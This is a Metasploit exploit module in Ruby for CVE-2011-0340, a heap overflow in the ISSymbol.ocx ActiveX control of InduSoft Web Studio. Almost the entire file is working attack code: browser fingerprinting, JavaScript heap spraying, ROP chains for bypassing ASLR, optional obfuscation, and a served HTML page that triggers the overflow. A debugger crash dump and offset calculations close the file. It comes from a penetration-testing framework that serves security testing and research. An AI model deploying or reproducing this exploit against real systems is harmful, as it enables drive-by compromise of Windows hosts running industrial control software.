InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::RopDb  
include Msf::Exploit::Remote::BrowserAutopwn  
  
autopwn_info({  
:ua_name => HttpClients::IE,  
:ua_minver => "6.0",  
:ua_maxver => "9.0",  
:javascript => true,  
:os_name => OperatingSystems::WINDOWS,  
:rank => NormalRanking,  
:classid => "{3c9dff6f-5cb0-422e-9978-d6405d10718f}",  
:method => "InternationalSeparator"  
})  
  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow",  
'Description' => %q{  
This module exploits a heap overflow found in InduSoft Web Studio <= 61.6.00.00  
SP6. The overflow exists in the ISSymbol.ocx, and can be triggered with a long  
string argument for the InternationalSeparator() method of the ISSymbol control.  
This modules uses the msvcr71.dll form the Java JRE6 to bypass ASLR.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Alexander Gavrun', # Vulnerability discovery  
'Dmitriy Pletnev', # Vulnerability discovery  
'James Fitts', # Metasploit module  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2011-0340' ],  
[ 'OSVDB', '72865' ],  
[ 'BID', '47596' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-168/' ],  
[ 'URL', 'http://secunia.com/secunia_research/2011-37/' ]  
],  
'Payload' =>  
{  
'Space' => 934,  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],  
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],  
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ],  
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ],  
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],  
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],  
[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe' } ]  
],  
'Privileged' => false,  
'DisclosureDate' => "Apr 28 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])  
], self.class)  
  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''  
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''  
  
ie_name = "IE #{ie}"  
  
case nt  
when '5.1'  
os_name = 'Windows XP SP3'  
when '6.0'  
os_name = 'Windows Vista'  
when '6.1'  
os_name = 'Windows 7'  
end  
  
targets.each do |t|  
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))  
print_status("Target selected as: #{t.name}")  
return t  
end  
end  
  
return nil  
end  
  
def ie_heap_spray(my_target, p)  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))  
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))  
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))  
  
# Land the payload at 0x0c0c0c0c  
case my_target  
when targets[7]  
# IE 9 on Windows 7  
js = %Q|  
function randomblock(blocksize)  
{  
var theblock = "";  
for (var i = 0; i < blocksize; i++)  
{  
theblock += Math.floor(Math.random()*90)+10;  
}  
return theblock;  
}  
  
function tounescape(block)  
{  
var blocklen = block.length;  
var unescapestr = "";  
for (var i = 0; i < blocklen-1; i=i+4)  
{  
unescapestr += "%u" + block.substring(i,i+4);  
}  
return unescapestr;  
}  
  
var heap_obj = new heapLib.ie(0x10000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_random_nops}");  
while (nops.length < 0x80000) nops += nops;  
var offset_length = #{my_target['Offset']};  
for (var i=0; i < 0x1000; i++) {  
var padding = unescape(tounescape(randomblock(0x1000)));  
while (padding.length < 0x1000) padding+= padding;  
var junk_offset = padding.substring(0, offset_length);  
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);  
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;  
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);  
heap_obj.alloc(sprayblock);  
}  
|  
  
else  
# For IE 6, 7, 8  
js = %Q|  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
while (nops.length < 0x80000) nops += nops;  
var offset = nops.substring(0, #{my_target['Offset']});  
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
heap_obj.gc();  
for (var i=1; i < 0x300; i++) {  
heap_obj.alloc(block);  
}  
var overflow = nops.substring(0, 10);  
|  
  
end  
  
js = heaplib(js, {:noobfu => true})  
  
if datastore['OBFUSCATE']  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
end  
  
return js  
end  
  
def get_payload(t, cli)  
code = payload.encoded  
  
# No rop. Just return the payload.  
if t['Rop'].nil?  
prepend = [  
0x0c0c0c0c,  
0x0c0c0c0c,  
0x0c0c0c0c,  
0x0c0c0c0c,  
0x0c0c0c0c,  
0x0c0c0c0c,  
0x0c0c0c28 # Will finally become EIP  
].pack("V*")  
return prepend + code  
end  
  
# Both ROP chains generated by mona.py - See corelan.be  
case t['Rop']  
when :msvcrt  
print_status("Using msvcrt ROP")  
stack_pivot = [  
0x0c0c0c0c, # ret from msvcrt.dll  
0x77c15ed6, # ret from msvcrt.dll  
0x77c15ed6, # ret from msvcrt.dll  
0x77c15ed6, # ret from msvcrt.dll  
0x77c15ed6, # ret from msvcrt.dll  
0x77c1f519, # pop # ret from msvcrt.dll  
0x77c4fa1a # will become eip # mov esp, ebx # pop ebx # ret from msvcrt.dll  
].pack("V*")  
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})  
else  
print_status("Using JRE ROP")  
stack_pivot = [  
0x0c0c0c0c, # ret from msvcr71.dll  
0x7c376fff, # ret from msvcr71.dll  
0x7c376fff, # ret from msvcr71.dll  
0x7c376fff, # ret from msvcr71.dll  
0x7c376fff, # ret from msvcr71.dll  
0x7c376ffe, # pop # ret from msvcr71.dll  
0x7c376ffc # will become eip # mov esp, ebx # pop ebx # ret from msvcr71.dll  
].pack("V*")  
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})  
end  
  
return rop_payload  
end  
  
def load_exploit_html(my_target, cli)  
p = get_payload(my_target, cli)  
js = ie_heap_spray(my_target, p)  
  
# ActiveX parameters  
clsid = "3c9dff6f-5cb0-422e-9978-d6405d10718f"  
name = rand_text_alpha(rand(50) + 1 )  
boom = Rex::Text.to_unescape("\x0c" * 6888)  
  
html = %Q|  
<html>  
<head>  
<script>  
#{js}  
</script>  
</head>  
<body>  
<object classid='clsid:#{clsid}' id='#{name}'></object>  
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">  
<script language='javascript'>  
#{name}.InternationalSeparator(unescape("#{boom}"));  
</script>  
</body></html>  
|  
  
return html  
end  
  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
uri = request.uri  
print_status("Requesting: #{uri}")  
  
my_target = get_target(agent)  
# Avoid the attack if no suitable target found  
if my_target.nil?  
print_error("Browser not supported, sending 404: #{agent}")  
send_not_found(cli)  
return  
end  
  
html = load_exploit_html(my_target, cli)  
html = html.gsub(/^\t\t/, '')  
print_status("Sending HTML...")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
  
end  
  
=begin  
eax=41306941 ebx=41306941 ecx=336b4632 edx=00000064 esi=064c0048 edi=00009796  
eip=100127d2 esp=0013e60c ebp=0013e640 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202  
ISSymbol!DllUnregisterServer+0xc9e2:  
100127d2 8b01 mov eax,dword ptr [ecx] ds:0023:336b4632=????????  
0:000> u eip  
ISSymbol!DllUnregisterServer+0xc9e2:  
100127d2 8b01 mov eax,dword ptr [ecx]  
100127d4 8b5018 mov edx,dword ptr [eax+18h]  
100127d7 ffe2 jmp edx  
100127d9 cc int 3  
100127da cc int 3  
100127db cc int 3  
100127dc cc int 3  
100127dd cc int 3  
  
* ebx  
$ ruby pattern_offset.rb 41306941 6888  
[*] Exact match at offset 240  
  
* ecx  
$ ruby pattern_offset.rb 336b4632 6888  
[*] Exact match at offset 4208  
  
=end`